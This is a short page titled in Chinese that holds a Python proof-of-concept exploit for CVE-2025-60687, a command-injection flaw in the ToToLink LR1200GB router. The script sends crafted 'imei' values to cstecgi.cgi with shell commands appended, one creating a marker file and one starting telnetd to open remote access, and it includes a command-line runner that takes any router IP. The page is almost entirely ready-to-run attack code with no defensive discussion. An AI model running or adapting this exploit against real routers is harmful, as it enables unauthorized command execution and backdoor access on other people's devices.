CVE-2025-60687 ToToLink LR1200GB路由器命令注入漏洞

#!/usr/bin/env python3 # CVE-2025-60687 PoC - ToToLink LR1200GB Command Injection # Target: cstecgi.cgi via imei parameter import requests import sys target = "http://target-router-ip" # Note: Replace 'target-router-ip' with actual router IP def exploit(target_ip, payload): """ Send malicious IMEI parameter to trigger command injection The imei parameter must be exactly 15 characters before the injection payload """ url = f"http://{target_ip}/cstecgi.cgi" # IMEI is 15 digits, we inject command after 15 chars # Example: '123456789012345;touch /tmp/pwned;' malicious_imei = "123456789012345;touch /tmp/pwned;" params = { "imei": malicious_imei } try: print(f"[*] Sending payload to {url}") print(f"[*] IMEI parameter: {malicious_imei}") response = requests.get(url, params=params, timeout=10) print(f"[*] Response status: {response.status_code}") if response.status_code == 200: print("[+] Payload sent successfully") print("[*] Command should be executed on the router") else: print("[-] Unexpected response") except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") def start_telnet(target_ip): """ Example: Start telnetd service on the router """ url = f"http://{target_ip}/cstecgi.cgi" # Inject command to start telnetd malicious_imei = "123456789012345;telnetd;" params = {"imei": malicious_imei} try: response = requests.get(url, params=params, timeout=10) print("[+] Telnetd started (if vulnerable)") except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: python3 {sys.argv[0]} <router_ip>") print("Example: python3 CVE-2025-60687.py 192.168.1.1") sys.exit(1) target_ip = sys.argv[1] exploit(target_ip, None)